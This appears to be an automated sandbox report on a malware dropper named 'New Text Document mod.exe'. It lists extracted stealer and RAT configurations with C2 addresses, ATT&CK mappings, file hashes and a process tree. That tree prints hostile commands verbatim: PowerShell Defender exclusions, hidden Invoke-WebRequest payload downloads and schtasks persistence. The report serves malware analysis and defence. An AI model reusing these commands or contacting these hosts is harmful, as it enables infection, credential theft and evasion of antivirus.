Overview

overview

10

Static

static

3

4363463463...63.exe

windows7-x64

10

4363463463...63.exe

windows10-2004-x64

10

New Text D...od.exe

windows7-x64

10

New Text D...od.exe

windows10-2004-x64

10

New Text D...od.exe

windows7-x64

10

New Text D...od.exe

windows10-2004-x64

10

Resubmissions

16-12-2024 05:27

241216-f5kx6awmh1 10

14-12-2024 20:23

241214-y6jqlasrhy 10

14-12-2024 20:22

241214-y51bysvmbk 10

14-12-2024 20:13

241214-yzc98svkfr 10

14-12-2024 13:14

241214-qgw1masrcy 10

14-12-2024 13:12

241214-qfk7qsvlaq 3

12-12-2024 18:19

241212-wymq6ssnat 10

12-12-2024 18:16

241212-www7tssmet 10

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    16-12-2024 05:27

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    New Text Document mod.exe

  • Size

    8KB

  • MD5

    69994ff2f00eeca9335ccd502198e05b

  • SHA1

    b13a15a5bea65b711b835ce8eccd2a699a99cead

  • SHA256

    2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2

  • SHA512

    ced53147894ed2dfc980bcb50767d9734ba8021f85842a53bb4bb4c502d51b4e9884f5f74c4dd2b70b53cafbe2441376675f7bd0f19bb20a3becb091a34fb9f3

  • SSDEEP

    96:y7ov9wc1dN1Unh3EHJ40CUJCrQt0LpCBIW12nEtgpH9GIkQYQoBNw9fnmK5iLjTv:yZyTFJfCB20LsBIW12n/eIkQ2BNg5S1

Score
10/10
meduzametasploitquasarredlinexwormfvcxcxwindows clientbackdoorcollectioncredential_accessdiscoveryexecutioninfostealerpersistencepyinstallerransomwareratspywarestealertrojanupx

Malware Config

Extracted

Family

meduza

C2

193.3.19.151

Attributes
  • anti_dbg

    true

  • anti_vm

    true

  • build_name

    hellres

  • extensions

    .txt; .doc; .xlsx

  • grabber_max_size

    4.194304e+06

  • port

    15666

  • self_destruct

    false

Extracted

Family

xworm

Version

5.0

C2

45.141.26.234:7000

Mutex

2XLzSYLZvUJjDK3V

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    Java Update (32bit).exe

aes.plain

Extracted

Family

redline

Botnet

fvcxcx

C2

185.81.68.147:1912

Extracted

Family

metasploit

Version

metasploit_stager

C2

176.122.27.90:8888

Extracted

Family

quasar

Version

1.4.1

Botnet

Windows Client

C2

148.163.102.170:4782

Mutex

4c18e02c-7c39-4a5e-bbef-16fe13828101

Attributes
  • encryption_key

    73B0A3AC50C78E243EA93BF9E60C9BC63D63CA26

  • install_name

    Sever Startup.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Windows Startup

  • subdirectory

    Windows Startup

Signatures

  • Detect Xworm Payload 2 IoCs
  • Meduza

    Meduza is a crypto wallet and info stealer written in C++.

    stealermeduza
  • Meduza Stealer payload 3 IoCs
  • Meduza family
    meduza
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Metasploit family
    metasploit
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar family
    quasar
  • Quasar payload 3 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 1 IoCs
  • Redline family
    redline
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 39 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses Microsoft Outlook profiles 1 TTPs 5 IoCs
    collection
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 20 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 22 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Modifies Control Panel 1 IoCs
    evasion
  • Modifies system certificate store 2 TTPs 6 IoCs
    evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 40 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe
    "C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"
    1⤵
    • Loads dropped DLL
    • Modifies system certificate store
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2240
    • C:\Users\Admin\AppData\Local\Temp\a\frnd.exe
      "C:\Users\Admin\AppData\Local\Temp\a\frnd.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:2916
      • C:\Users\Admin\AppData\Local\Temp\a\frnd.exe
        "C:\Users\Admin\AppData\Local\Temp\a\frnd.exe"
        3⤵
        • Executes dropped EXE
        PID:1984
    • C:\Users\Admin\AppData\Local\Temp\a\hellres.exe
      "C:\Users\Admin\AppData\Local\Temp\a\hellres.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Accesses Microsoft Outlook profiles
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • outlook_office_path
      • outlook_win_path
      PID:2528
    • C:\Users\Admin\AppData\Local\Temp\a\duschno.exe
      "C:\Users\Admin\AppData\Local\Temp\a\duschno.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2212
    • C:\Users\Admin\AppData\Local\Temp\a\resp.exe
      "C:\Users\Admin\AppData\Local\Temp\a\resp.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2924
    • C:\Users\Admin\AppData\Local\Temp\a\frnd1.exe
      "C:\Users\Admin\AppData\Local\Temp\a\frnd1.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1052
      • C:\Users\Admin\AppData\Local\Temp\a\frnd1.exe
        "C:\Users\Admin\AppData\Local\Temp\a\frnd1.exe"
        3⤵
        • Executes dropped EXE
        PID:2660
      • C:\Users\Admin\AppData\Local\Temp\a\frnd1.exe
        "C:\Users\Admin\AppData\Local\Temp\a\frnd1.exe"
        3⤵
        • Executes dropped EXE
        PID:2768
      • C:\Users\Admin\AppData\Local\Temp\a\frnd1.exe
        "C:\Users\Admin\AppData\Local\Temp\a\frnd1.exe"
        3⤵
        • Executes dropped EXE
        PID:2548
      • C:\Users\Admin\AppData\Local\Temp\a\frnd1.exe
        "C:\Users\Admin\AppData\Local\Temp\a\frnd1.exe"
        3⤵
        • Executes dropped EXE
        PID:2932
      • C:\Users\Admin\AppData\Local\Temp\a\frnd1.exe
        "C:\Users\Admin\AppData\Local\Temp\a\frnd1.exe"
        3⤵
        • Executes dropped EXE
        PID:2544
    • C:\Users\Admin\AppData\Local\Temp\a\zx.exe
      "C:\Users\Admin\AppData\Local\Temp\a\zx.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2184
      • C:\Users\Admin\AppData\Local\Temp\a\zx.exe
        "C:\Users\Admin\AppData\Local\Temp\a\zx.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:900
    • C:\Users\Admin\AppData\Local\Temp\a\TPB-1.exe
      "C:\Users\Admin\AppData\Local\Temp\a\TPB-1.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Checks processor information in registry
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      PID:2260
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Temp\a\TPB-1.exe" & rd /s /q "C:\ProgramData\5F3EKNYUK6FU" & exit
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2672
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 10
          4⤵
          • System Location Discovery: System Language Discovery
          • Delays execution with timeout.exe
          PID:2792
    • C:\Users\Admin\AppData\Local\Temp\a\TestExe.exe
      "C:\Users\Admin\AppData\Local\Temp\a\TestExe.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2664
    • C:\Users\Admin\AppData\Local\Temp\a\x.exe
      "C:\Users\Admin\AppData\Local\Temp\a\x.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3024
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\a\x.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2072
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'x.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3044
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Java Update (32bit).exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1532
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Java Update (32bit).exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:900
    • C:\Users\Admin\AppData\Local\Temp\a\PDFReader.exe
      "C:\Users\Admin\AppData\Local\Temp\a\PDFReader.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      PID:2168
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:1796
    • C:\Users\Admin\AppData\Local\Temp\a\system32.exe
      "C:\Users\Admin\AppData\Local\Temp\a\system32.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2612
      • C:\Users\Admin\AppData\Local\Temp\a\system32.exe
        "C:\Users\Admin\AppData\Local\Temp\a\system32.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:1316
    • C:\Users\Admin\AppData\Local\Temp\a\fcxcx.exe
      "C:\Users\Admin\AppData\Local\Temp\a\fcxcx.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:880
    • C:\Users\Admin\AppData\Local\Temp\a\Update.exe
      "C:\Users\Admin\AppData\Local\Temp\a\Update.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1976
    • C:\Users\Admin\AppData\Local\Temp\a\main.exe
      "C:\Users\Admin\AppData\Local\Temp\a\main.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:2000
      • C:\Users\Admin\AppData\Local\Temp\a\main.exe
        "C:\Users\Admin\AppData\Local\Temp\a\main.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:3908
    • C:\Users\Admin\AppData\Local\Temp\a\tmp.exe
      "C:\Users\Admin\AppData\Local\Temp\a\tmp.exe"
      2⤵
      • Executes dropped EXE
      PID:3940
    • C:\Users\Admin\AppData\Local\Temp\a\shost.exe
      "C:\Users\Admin\AppData\Local\Temp\a\shost.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:1280
      • C:\Users\Admin\AppData\Local\Temp\a\shost.exe
        "C:\Users\Admin\AppData\Local\Temp\a\shost.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:5812
    • C:\Users\Admin\AppData\Local\Temp\a\qhos.exe
      "C:\Users\Admin\AppData\Local\Temp\a\qhos.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:5928
      • C:\Users\Admin\AppData\Local\Temp\a\qhos.exe
        "C:\Users\Admin\AppData\Local\Temp\a\qhos.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:6336
    • C:\Users\Admin\AppData\Local\Temp\a\phost.exe
      "C:\Users\Admin\AppData\Local\Temp\a\phost.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:2864
      • C:\Users\Admin\AppData\Local\Temp\a\phost.exe
        "C:\Users\Admin\AppData\Local\Temp\a\phost.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:7220
    • C:\Users\Admin\AppData\Local\Temp\a\in.exe
      "C:\Users\Admin\AppData\Local\Temp\a\in.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:7288
      • C:\Windows\system32\cmd.exe
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1B1F.tmp\1B20.tmp\1B21.bat C:\Users\Admin\AppData\Local\Temp\a\in.exe"
        3⤵
          PID:7372
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/arht/releases/download/seht/archive.htm/' -outfile archive.htm"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:7444
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/ucm1/releases/download/iu1/shost.exe/' -outfile shost.exe"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:7584
          • C:\Windows\system32\calc.exe
            calc.exe
            4⤵
              PID:7776
        • C:\Users\Admin\AppData\Local\Temp\a\NEOFreeSetup.exe
          "C:\Users\Admin\AppData\Local\Temp\a\NEOFreeSetup.exe"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          PID:7856
          • C:\Windows\SysWOW64\msiexec.exe
            "C:\Windows\System32\msiexec.exe" /I "C:\Program Files (x86)\Common Files\Wise Installation Wizard\WIS0E7C0CA4E536483D943BE977EA796DD9_1_0_0_182.MSI" WISE_SETUP_EXE_PATH="C:\Users\Admin\AppData\Local\Temp\a\NEOFreeSetup.exe"
            3⤵
            • Enumerates connected drives
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:7928
        • C:\Users\Admin\AppData\Local\Temp\a\BWCStartMSI.exe
          "C:\Users\Admin\AppData\Local\Temp\a\BWCStartMSI.exe"
          2⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          PID:3252
          • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\BWCStartMSI.exe
            C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\BWCStartMSI.exe
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:3312
            • C:\Windows\SysWOW64\msiexec.exe
              "C:\Windows\System32\msiexec.exe" /q /i BWCInstaller.msi /norestart
              4⤵
              • System Location Discovery: System Language Discovery
              PID:3412
        • C:\Users\Admin\AppData\Local\Temp\a\VipToolMeta.exe
          "C:\Users\Admin\AppData\Local\Temp\a\VipToolMeta.exe"
          2⤵
          • Executes dropped EXE
          PID:876
          • C:\Windows\system32\schtasks.exe
            "schtasks" /create /tn "Windows Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows Startup\Sever Startup.exe" /rl HIGHEST /f
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5404
          • C:\Users\Admin\AppData\Roaming\Windows Startup\Sever Startup.exe
            "C:\Users\Admin\AppData\Roaming\Windows Startup\Sever Startup.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of SetWindowsHookEx
            PID:5524
            • C:\Windows\system32\schtasks.exe
              "schtasks" /create /tn "Windows Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows Startup\Sever Startup.exe" /rl HIGHEST /f
              4⤵
              • Scheduled Task/Job: Scheduled Task
              PID:5900
        • C:\Users\Admin\AppData\Local\Temp\a\TrackYourSentOLSetup.exe
          "C:\Users\Admin\AppData\Local\Temp\a\TrackYourSentOLSetup.exe"
          2⤵
          • Executes dropped EXE
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          PID:5684
          • C:\Windows\SysWOW64\msiexec.exe
            "C:\Windows\System32\msiexec.exe" /I "C:\Program Files (x86)\Common Files\Wise Installation Wizard\WISFE9FC5BE5BB6414388F43D74DDB259E8_1_2_0_147.MSI" WISE_SETUP_EXE_PATH="C:\Users\Admin\AppData\Local\Temp\a\TrackYourSentOLSetup.exe"
            3⤵
            • Enumerates connected drives
            • System Location Discovery: System Language Discovery
            • Suspicious use of FindShellTrayWindow
            PID:5768
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe /V
        1⤵
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Enumerates connected drives
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:8052
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 1C17F427C49953631BA8818CB2C00F56 C
          2⤵
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:4904
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding DC18A0A75EB2AD5281D9DB4696DC24AE
          2⤵
          • System Location Discovery: System Language Discovery
          PID:2976
          • C:\Windows\SysWOW64\rundll32.exe
            rundll32.exe "C:\Windows\Installer\MSI6DD8.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_259616442 1 CustomActions!CustomActions.CustomActions.StartApp
            3⤵
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:4156
            • C:\Users\Admin\AppData\Local\Microsoft\BingWallpaperApp\BingWallpaperApp.exe
              "C:\Users\Admin\AppData\Local\Microsoft\BingWallpaperApp\BingWallpaperApp.exe"
              4⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Sets desktop wallpaper using registry
              • System Location Discovery: System Language Discovery
              • Modifies Control Panel
              PID:4272
          • C:\Windows\SysWOW64\rundll32.exe
            rundll32.exe "C:\Windows\Installer\MSI7068.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_259616910 7 CustomActions!CustomActions.CustomActions.InstallPing
            3⤵
            • Blocklisted process makes network request
            • Checks computer location settings
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            PID:4536
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding F871DF03DCA3745E86DFC233380E29F3 C
          2⤵
          • System Location Discovery: System Language Discovery
          PID:6016

      Network

      MITRE ATT&CK Enterprise v15

      Reconnaissance

      Resource Development

      Initial Access

      Execution

      Command and Scripting Interpreter

      1
      T1059

      PowerShell

      1
      T1059.001

      Scheduled Task/Job

      1
      T1053

      Scheduled Task

      1
      T1053.005

      Persistence

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Scheduled Task/Job

      1
      T1053

      Scheduled Task

      1
      T1053.005

      Privilege Escalation

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Scheduled Task/Job

      1
      T1053

      Scheduled Task

      1
      T1053.005

      Defense Evasion

      Modify Registry

      3
      T1112

      Subvert Trust Controls

      1
      T1553

      Install Root Certificate

      1
      T1553.004

      Credential Access

      Credentials from Password Stores

      1
      T1555

      Credentials from Web Browsers

      1
      T1555.003

      Unsecured Credentials

      4
      T1552

      Credentials In Files

      4
      T1552.001

      Discovery

      Browser Information Discovery

      1
      T1217

      Peripheral Device Discovery

      1
      T1120

      Query Registry

      5
      T1012

      System Information Discovery

      4
      T1082

      System Location Discovery

      1
      T1614

      System Language Discovery

      1
      T1614.001

      System Network Configuration Discovery

      1
      T1016

      Internet Connection Discovery

      1
      T1016.001

      Lateral Movement

      Collection

      Data from Local System

      3
      T1005

      Email Collection

      1
      T1114

      Command and Control

      Web Service

      1
      T1102

      Exfiltration

      Impact

      Defacement

      1
      T1491

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Config.Msi\f7969fd.rbs
        Filesize

        9KB

        MD5

        50a3bf5eac86b4b736fba9969ace76c9

        SHA1

        4568f87dde763c9d9c5cfc6c473f69668132f2e2

        SHA256

        0c3fbd2e575bdbdf744edf63887f86919e385eb2d5ed12c9fdff8430bef18e5b

        SHA512

        1113c8edb2065c1c0bd418da92c185da40c0d8a591f294bd72c243117ca636e90b795e6aaf32b2fc851455421fcff0283a406df7c2cf8908784b43a8da7cc705

        Download Submit

      • C:\Program Files (x86)\Common Files\Wise Installation Wizard\WIS0E7C0CA4E536483D943BE977EA796DD9_1_0_0_182.MSI
        Filesize

        5.5MB

        MD5

        a8948ce98932b7a651c1e79eb1a933db

        SHA1

        2bcd2206697b1aba0d03132a44e3ba36b2218fe3

        SHA256

        e4d6136203ca0cf5d30972708da1a50ed08301255471c158be3adbdc4d9bb5f0

        SHA512

        e992e427053fe623d886be92e150c90264efa974e2db97ba889aa9f6e7749c3e0400d2febf58202880785860e8b4d3b8862d0e41f2adc39154ab10ed52bc7a3b

        Download Submit

      • C:\Program Files (x86)\Common Files\Wise Installation Wizard\WISFE9FC5BE5BB6414388F43D74DDB259E8_1_2_0_147.MSI
        Filesize

        1.9MB

        MD5

        276981a641dd0a1fc1acb0aa6600eed7

        SHA1

        1bc178993aaf14b75846db9d1e71dedc1e7a4fb6

        SHA256

        0812198114e0408f4db2ad602dfd6d2c63b7734a3a291a84644ac9885202c2a1

        SHA512

        9bfd9c4d0257d7c0e541a460fb14a0b65c64d50986abd2a30934270cb3f7c38d68866a71e34439e87ec0e26ddfd94f22a9cf51d15ad077ae802a3843e8f47af8

        Download Submit

      • C:\ProgramData\Java Update (32bit).exe
        Filesize

        40KB

        MD5

        f9a6811d7a9d5e06d73a68fc729ce66c

        SHA1

        c882143d5fde4b2e7edb5a9accb534ba17d754ef

        SHA256

        c583d0a367ecffa74b82b78116bbb04b7c92bed0300ed1c3adc4ef3250fbb9cc

        SHA512

        4dec52f0d1927306deda677fea46d103b052aaa5f7d7f49abe59a3618110ee542c2db385158a393970751fcc9687efe44a860d6330ed474c0c849369c0da56df

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        55f6571d4edab8fe9bcbcde1baa408c6

        SHA1

        3b91ed8d1c808b171c69802a8ad755f4e0534556

        SHA256

        d08a7fa22bc26eb4ec164f1fc2f720e450c09de5c1ede93aa4a3d354befaf79f

        SHA512

        624e5c7754c6ce79cd006d1032c230703af6a4266aaa2bab17a179445cc9eca2e3a0fcaef8f306e48d5b82c0b132d2ed61e49c0e2f6e3bd92d8b4d12b627a36f

        Download Submit

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
        Filesize

        342B

        MD5

        0141e14ab9969b41f0a3ffeb7d031987

        SHA1

        30672e6fe4af7cbd730ed3360358d14980445d6e

        SHA256

        3474f98163bfa2d3b9d9d0b7c4a38c8eb73b389b79a230a23903e270e25911a1

        SHA512

        7e850345ceb095c8cad9780ff9687e0c6948f5e6511ab75057d45e6200f0abc103971a069e4a4812fd71570e4f332f8007944e32a65e7e49025a87533a2d20b1

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\BingWallpaperApp\WPImages\EmbeddedImage1.jpg
        Filesize

        732KB

        MD5

        b51e6998870c3a5ead694bc831885753

        SHA1

        7f42872d939853316724d9dd4719ad6c6edf6240

        SHA256

        e6928e1999b21b443a94f6229ea7705f0da8694bd4fa03b00546b8022d7d8cb3

        SHA512

        8c91536bd7b2090a134923c225abf46e0a73737ca29cbb069d0bf4a97a7866f6b1fc2f89947438f61c769868eae9590ed94fc3bcd6e88ef97cde31f61106460e

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\BingWallpaperApp\WPImages\EmbeddedImage2.jpg
        Filesize

        809KB

        MD5

        480cc8cd340cdc59d6149ad261610a7d

        SHA1

        b3df121f848636cb3e07cf3bd8273eab728ee14b

        SHA256

        24d72a7bee047d3c69033216ed119aeeadc3d5545ecf09a16ecb4ae41f686801

        SHA512

        854dc3d09eb49074333061a9007332dbb6d4783f82e81beb3d9fc1fb3963632696703fa24dbde38dd3bdfb348c4c10bf5782587cd82349b06789ec76d22e3f53

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\Cab4DE4.tmp
        Filesize

        70KB

        MD5

        49aebf8cbd62d92ac215b2923fb1b9f5

        SHA1

        1723be06719828dda65ad804298d0431f6aff976

        SHA256

        b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

        SHA512

        bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\MSI7BD4.tmp
        Filesize

        108KB

        MD5

        68406bfd28f87a63c412b75cdfa764f1

        SHA1

        244ec4ccbdff8458094b5dc272ee9e7333ffd9e0

        SHA256

        a9cc69cad361c4fca12cad2e7275127cef7f9398ca1022b5832042b05c316760

        SHA512

        5a95334b8dafd6addce08044fe9c6308e233d5b29b2bcedd12435d32fc873325a8c504efd1d692be43e7e9bd2a75e615224bf642aa1bf122fc3c3524b33e98ef

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\Tar4DF6.tmp
        Filesize

        181KB

        MD5

        4ea6026cf93ec6338144661bf1202cd1

        SHA1

